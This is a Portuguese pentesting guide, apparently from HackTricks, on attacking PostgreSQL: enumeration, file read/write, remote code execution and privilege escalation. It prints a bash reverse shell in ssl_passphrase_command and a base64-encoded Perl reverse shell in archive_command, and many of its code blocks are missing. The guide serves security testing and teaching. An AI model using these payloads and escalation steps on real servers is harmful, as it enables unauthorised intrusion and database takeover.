5432,5433 - Pentesting Postgresql
Use Trickest para construir e automatizar fluxos de trabalho facilmente, impulsionados pelas ferramentas da comunidade mais avançadas do mundo. Acesse hoje:
Informações Básicas
PostgreSQL é descrito como um sistema de banco de dados objeto-relacional que é open source. Este sistema não apenas utiliza a linguagem SQL, mas também a aprimora com recursos adicionais. Suas capacidades permitem lidar com uma ampla gama de tipos de dados e operações, tornando-o uma escolha versátil para desenvolvedores e organizações.
Porta padrão: 5432, e se esta porta já estiver em uso, parece que o postgresql usará a próxima porta (provavelmente 5433) que não está em uso.
Conectar e Enumeração Básica
Se ao executar \list
você encontrar um banco de dados chamado rdsadmin
, você sabe que está dentro de um banco de dados postgresql da AWS.
Para mais informações sobre como abusar de um banco de dados PostgreSQL, consulte:
PostgreSQL injectionEnumeração Automática
Escaneamento de portas
De acordo com esta pesquisa, quando uma tentativa de conexão falha, dblink
lança uma exceção sqlclient_unable_to_establish_sqlconnection
incluindo uma explicação do erro. Exemplos desses detalhes estão listados abaixo.
O host está fora do ar
DETAIL: não foi possível conectar ao servidor: Sem rota para o host O servidor está em execução no host "1.2.3.4" e aceitando conexões TCP/IP na porta 5678?
A porta está fechada
A porta está aberta
ou
A porta está aberta ou filtrada
Em funções PL/pgSQL, atualmente não é possível obter detalhes de exceção. No entanto, se você tiver acesso direto ao servidor PostgreSQL, pode recuperar as informações necessárias. Se extrair nomes de usuários e senhas das tabelas do sistema não for viável, você pode considerar utilizar o método de ataque de wordlist discutido na seção anterior, pois isso pode potencialmente gerar resultados positivos.
Enumeração de Privilégios
Funções
Tipos de Função | |
---|---|
rolsuper | A função tem privilégios de superusuário |
rolinherit | A função herda automaticamente os privilégios das funções das quais é membro |
rolcreaterole | A função pode criar mais funções |
rolcreatedb | A função pode criar bancos de dados |
rolcanlogin | A função pode fazer login. Ou seja, essa função pode ser dada como o identificador de autorização da sessão inicial |
rolreplication | A função é uma função de replicação. Uma função de replicação pode iniciar conexões de replicação e criar e remover slots de replicação. |
rolconnlimit | Para funções que podem fazer login, isso define o número máximo de conexões simultâneas que essa função pode fazer. -1 significa sem limite. |
rolpassword | Não é a senha (sempre é lido como |
rolvaliduntil | Tempo de expiração da senha (usado apenas para autenticação de senha); nulo se não houver expiração |
rolbypassrls | A função ignora todas as políticas de segurança em nível de linha, veja Seção 5.8 para mais informações. |
rolconfig | Padrões específicos da função para variáveis de configuração em tempo de execução |
oid | ID da função |
Grupos Interessantes
Se você é membro de
pg_execute_server_program
você pode executar programasSe você é membro de
pg_read_server_files
você pode ler arquivosSe você é membro de
pg_write_server_files
você pode escrever arquivos
Observe que no Postgres um usuário, um grupo e uma função são a mesma coisa. Depende apenas de como você usa e se você permite que faça login.
Tabelas
Funções
Ações do sistema de arquivos
Ler diretórios e arquivos
A partir deste commit , membros do grupo definido DEFAULT_ROLE_READ_SERVER_FILES
(chamado pg_read_server_files
) e super usuários podem usar o método COPY
em qualquer caminho (verifique convert_and_check_filename
em genfile.c
):
Lembre-se de que se você não for superusuário, mas tiver as permissões CREATEROLE, você pode se tornar membro desse grupo:
Existem outras funções do postgres que podem ser usadas para ler arquivos ou listar um diretório. Apenas superusuários e usuários com permissões explícitas podem usá-las:
Você pode encontrar mais funções em https://www.postgresql.org/docs/current/functions-admin.html
Escrita Simples de Arquivo
Apenas super usuários e membros de pg_write_server_files
podem usar copy para escrever arquivos.
Lembre-se de que se você não for superusuário, mas tiver as permissões CREATEROLE
, você pode se tornar membro desse grupo:
Lembre-se de que o COPY não pode lidar com caracteres de nova linha, portanto, mesmo que você esteja usando um payload em base64, você precisa enviar uma única linha.
Uma limitação muito importante dessa técnica é que copy
não pode ser usado para escrever arquivos binários, pois modifica alguns valores binários.
Upload de arquivos binários
No entanto, existem outras técnicas para fazer upload de grandes arquivos binários:
Big Binary Files Upload (PostgreSQL)Dica de bug bounty: inscreva-se na Intigriti, uma plataforma premium de bug bounty criada por hackers, para hackers! Junte-se a nós em https://go.intigriti.com/hacktricks hoje e comece a ganhar recompensas de até $100.000!
Atualizando dados da tabela PostgreSQL via gravação de arquivo local
Se você tiver as permissões necessárias para ler e escrever arquivos do servidor PostgreSQL, pode atualizar qualquer tabela no servidor substituindo o nó de arquivo associado no diretório de dados do PostgreSQL. Mais sobre essa técnica aqui.
Passos necessários:
Obtenha o diretório de dados do PostgreSQL
Nota: Se você não conseguir recuperar o caminho do diretório de dados atual das configurações, pode consultar a versão principal do PostgreSQL através da consulta SELECT version()
e tentar forçar o caminho. Caminhos comuns do diretório de dados em instalações Unix do PostgreSQL são /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/
. Um nome de cluster comum é main
. 2. Obtenha um caminho relativo para o filenode, associado à tabela alvo
Essa consulta deve retornar algo como base/3/1337
. O caminho completo no disco será $DATA_DIRECTORY/base/3/1337
, ou seja, /var/lib/postgresql/13/main/base/3/1337
. 3. Baixe o filenode através das funções lo_*
Obtenha o tipo de dado, associado à tabela alvo
Use o Editor de Filenode do PostgreSQL para editar o filenode; defina todas as flags booleanas
rol*
para 1 para permissões totais.
6. Refaça o upload do filenode editado através das funções
lo_*
e sobrescreva o arquivo original no disco
(Opcional) Limpe o cache da tabela em memória executando uma consulta SQL cara
Agora você deve ver os valores da tabela atualizados no PostgreSQL.
Você também pode se tornar um superadmin editando a tabela pg_authid
. Veja a seção seguinte.
RCE
RCE para programa
Desde a versão 9.3, apenas super usuários e membros do grupo pg_execute_server_program
podem usar copy para RCE (exemplo com exfiltração:
Exemplo para exec:
Lembre-se de que se você não for superusuário, mas tiver as permissões CREATEROLE
, você pode se tornar membro desse grupo:
Ou use o módulo multi/postgres/postgres_copy_from_program_cmd_exec
do metasploit.
Mais informações sobre essa vulnerabilidade aqui. Embora tenha sido relatada como CVE-2019-9193, o Postgres declarou que isso era uma característica e não será corrigido.
RCE com Linguagens PostgreSQL
RCE with PostgreSQL LanguagesRCE com extensões PostgreSQL
Uma vez que você tenha aprendido no post anterior como fazer upload de arquivos binários, você pode tentar obter RCE fazendo upload de uma extensão postgresql e carregando-a.
RCE with PostgreSQL ExtensionsRCE com arquivo de configuração do PostgreSQL
Os seguintes vetores de RCE são especialmente úteis em contextos SQLi restritos, pois todos os passos podem ser realizados através de instruções SELECT aninhadas.
O arquivo de configuração do PostgreSQL é gravável pelo usuário postgres, que é quem executa o banco de dados, então como superusuário, você pode escrever arquivos no sistema de arquivos e, portanto, pode sobrescrever este arquivo.
RCE com ssl_passphrase_command
Mais informações sobre esta técnica aqui.
O arquivo de configuração tem alguns atributos interessantes que podem levar a RCE:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
Caminho para a chave privada do banco de dadosssl_passphrase_command = ''
Se o arquivo privado estiver protegido por senha (criptografado), o postgresql executará o comando indicado neste atributo.ssl_passphrase_command_supports_reload = off
Se este atributo estiver ativado, o comando executado se a chave estiver protegida por senha será executado quandopg_reload_conf()
for executado.
Então, um atacante precisará:
Extrair a chave privada do servidor
Criptografar a chave privada baixada:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
Sobrescrever
Extrair a configuração atual do postgresql
Sobrescrever a configuração com os atributos mencionados:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on
Execute
pg_reload_conf()
Ao testar isso, percebi que isso só funcionará se o arquivo da chave privada tiver permissões 640, for possuído por root e pelo grupo ssl-cert ou postgres (para que o usuário postgres possa lê-lo), e estiver localizado em /var/lib/postgresql/12/main.
RCE com archive_command
Mais informações sobre esta configuração e sobre WAL aqui.
Outro atributo no arquivo de configuração que é explorável é archive_command
.
Para que isso funcione, a configuração archive_mode
deve ser 'on'
ou 'always'
. Se isso for verdade, então poderíamos sobrescrever o comando em archive_command
e forçá-lo a ser executado através das operações WAL (write-ahead logging).
Os passos gerais são:
Verifique se o modo de arquivamento está ativado:
SELECT current_setting('archive_mode')
Sobrescreva
archive_command
com o payload. Por exemplo, um shell reverso:archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
Recarregue a configuração:
SELECT pg_reload_conf()
Force a operação WAL a ser executada, o que chamará o comando de arquivamento:
SELECT pg_switch_wal()
ouSELECT pg_switch_xlog()
para algumas versões do Postgres
RCE com bibliotecas de pré-carregamento
Mais informações sobre esta técnica aqui.
Este vetor de ataque aproveita as seguintes variáveis de configuração:
session_preload_libraries
-- bibliotecas que serão carregadas pelo servidor PostgreSQL na conexão do cliente.dynamic_library_path
-- lista de diretórios onde o servidor PostgreSQL procurará as bibliotecas.
Podemos definir o valor de dynamic_library_path
para um diretório, gravável pelo usuário postgres
que executa o banco de dados, por exemplo, o diretório /tmp/
, e fazer upload de um objeto malicioso .so
lá. Em seguida, forçaremos o servidor PostgreSQL a carregar nossa biblioteca recém-carregada, incluindo-a na variável session_preload_libraries
.
Os passos do ataque são:
Baixe o
postgresql.conf
originalInclua o diretório
/tmp/
no valor dedynamic_library_path
, por exemplo,dynamic_library_path = '/tmp:$libdir'
Inclua o nome da biblioteca maliciosa no valor de
session_preload_libraries
, por exemplo,session_preload_libraries = 'payload.so'
Verifique a versão principal do PostgreSQL através da consulta
SELECT version()
Compile o código da biblioteca maliciosa com o pacote de desenvolvimento correto do PostgreSQL. Código de exemplo:
Compilando o código:
Faça upload do
postgresql.conf
malicioso, criado nos passos 2-3, e sobrescreva o originalFaça upload do
payload.so
do passo 5 para o diretório/tmp
Recarregue a configuração do servidor reiniciando o servidor ou invocando a consulta
SELECT pg_reload_conf()
Na próxima conexão ao DB, você receberá a conexão do shell reverso.
Postgres Privesc
Privesc CREATEROLE
Conceder
De acordo com a documentação: Funções que têm o privilégio CREATEROLE
podem conceder ou revogar a filiação em qualquer função que não seja um superusuário.
Portanto, se você tiver permissão CREATEROLE
, poderá conceder a si mesmo acesso a outras funções (que não são superusuário) que podem lhe dar a opção de ler e escrever arquivos e executar comandos:
Modificar Senha
Usuários com este papel também podem mudar as senhas de outros não-superusuários:
Privesc para SUPERUSER
É bastante comum encontrar que usuários locais podem fazer login no PostgreSQL sem fornecer nenhuma senha. Portanto, uma vez que você tenha reunido permissões para executar código, você pode abusar dessas permissões para conceder a você o papel de SUPERUSER
:
Isso geralmente é possível por causa das seguintes linhas no arquivo pg_hba.conf
:
ALTER TABLE privesc
Em este artigo é explicado como foi possível privesc no Postgres GCP abusando do privilégio ALTER TABLE que foi concedido ao usuário.
Quando você tenta tornar outro usuário o proprietário de uma tabela, você deve receber um erro impedindo isso, mas aparentemente o GCP deu essa opção ao usuário postgres que não é superusuário no GCP:
Unindo essa ideia com o fato de que quando os comandos INSERT/UPDATE/ANALYZE são executados em uma tabela com uma função de índice, a função é chamada como parte do comando com as permissões do proprietário da tabela. É possível criar um índice com uma função e dar permissões de proprietário a um superusuário sobre essa tabela, e então executar ANALYZE sobre a tabela com a função maliciosa que será capaz de executar comandos porque está usando os privilégios do proprietário.
Exploração
Comece criando uma nova tabela.
Insira algum conteúdo irrelevante na tabela para fornecer dados para a função de índice.
Desenvolva uma função de índice maliciosa que contenha um payload de execução de código, permitindo que comandos não autorizados sejam executados.
ALTERE o proprietário da tabela para "cloudsqladmin", que é o papel de superusuário do GCP usado exclusivamente pelo Cloud SQL para gerenciar e manter o banco de dados.
Realize uma operação ANALYZE na tabela. Esta ação obriga o mecanismo PostgreSQL a mudar para o contexto do usuário do proprietário da tabela, "cloudsqladmin". Consequentemente, a função de índice maliciosa é chamada com as permissões de "cloudsqladmin", permitindo assim a execução do comando de shell anteriormente não autorizado.
Em PostgreSQL, esse fluxo se parece com isto:
Então, a tabela shell_commands_results
conterá a saída do código executado:
Login Local
Algumas instâncias do postgresql mal configuradas podem permitir o login de qualquer usuário local, é possível logar a partir de 127.0.0.1 usando a dblink
function:
Observe que para a consulta anterior funcionar a função dblink
precisa existir. Se não existir, você pode tentar criá-la com
Se você tiver a senha de um usuário com mais privilégios, mas o usuário não tiver permissão para fazer login a partir de um IP externo, você pode usar a seguinte função para executar consultas como esse usuário:
É possível verificar se essa função existe com:
Função definida pelo usuário com SECURITY DEFINER
Neste relatório, os pentesters conseguiram privesc dentro de uma instância postgres fornecida pela IBM, porque encontraram esta função com a flag SECURITY DEFINER:
Como explicado na documentação, uma função com SECURITY DEFINER é executada com os privilégios do usuário que a possui. Portanto, se a função for vulnerável a SQL Injection ou estiver realizando algumas ações privilegiadas com parâmetros controlados pelo atacante, ela pode ser abusada para escalar privilégios dentro do postgres.
Na linha 4 do código anterior, você pode ver que a função tem a flag SECURITY DEFINER.
E então execute comandos:
Pass Burteforce com PL/pgSQL
PL/pgSQL é uma linguagem de programação totalmente funcional que oferece maior controle procedural em comparação com SQL. Ela permite o uso de loops e outras estruturas de controle para aprimorar a lógica do programa. Além disso, declarações SQL e triggers têm a capacidade de invocar funções que são criadas usando a linguagem PL/pgSQL. Essa integração permite uma abordagem mais abrangente e versátil para programação e automação de banco de dados. Você pode abusar dessa linguagem para pedir ao PostgreSQL que faça brute-force nas credenciais dos usuários.
PL/pgSQL Password BruteforcePrivesc por Sobrescrever Tabelas Internas do PostgreSQL
O seguinte vetor de privesc é especialmente útil em contextos SQLi restritos, pois todas as etapas podem ser realizadas através de instruções SELECT aninhadas.
Se você pode ler e escrever arquivos do servidor PostgreSQL, você pode se tornar um superusuário sobrescrevendo o filenode no disco do PostgreSQL, associado à tabela interna pg_authid
.
Leia mais sobre essa técnica aqui.
Os passos do ataque são:
Obter o diretório de dados do PostgreSQL
Obter um caminho relativo para o filenode, associado à tabela
pg_authid
Baixar o filenode através das funções
lo_*
Obter o tipo de dado, associado à tabela
pg_authid
Usar o Editor de Filenode do PostgreSQL para editar o filenode; definir todas as flags booleanas
rol*
para 1 para permissões totais.Reenviar o filenode editado via as funções
lo_*
, e sobrescrever o arquivo original no disco(Opcional) Limpar o cache da tabela em memória executando uma consulta SQL cara
Você agora deve ter os privilégios de um superadmin completo.
POST
logging
Dentro do arquivo postgresql.conf você pode habilitar os logs do postgresql alterando:
Então, reinicie o serviço.
pgadmin
pgadmin é uma plataforma de administração e desenvolvimento para PostgreSQL. Você pode encontrar senhas dentro do arquivo pgadmin4.db Você pode descriptografá-las usando a função decrypt dentro do script: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
pg_hba
A autenticação do cliente no PostgreSQL é gerenciada através de um arquivo de configuração chamado pg_hba.conf. Este arquivo contém uma série de registros, cada um especificando um tipo de conexão, intervalo de endereços IP do cliente (se aplicável), nome do banco de dados, nome do usuário e o método de autenticação a ser usado para conexões correspondentes. O primeiro registro que corresponder ao tipo de conexão, endereço do cliente, banco de dados solicitado e nome do usuário é usado para autenticação. Não há fallback ou backup se a autenticação falhar. Se nenhum registro corresponder, o acesso é negado.
Os métodos de autenticação baseados em senha disponíveis no pg_hba.conf são md5, crypt e password. Esses métodos diferem na forma como a senha é transmitida: hash MD5, criptografada ou em texto claro. É importante notar que o método crypt não pode ser usado com senhas que foram criptografadas em pg_authid.
Use Trickest para construir e automatizar fluxos de trabalho facilmente, impulsionados pelas ferramentas comunitárias mais avançadas do mundo. Get Access Today:
Last updated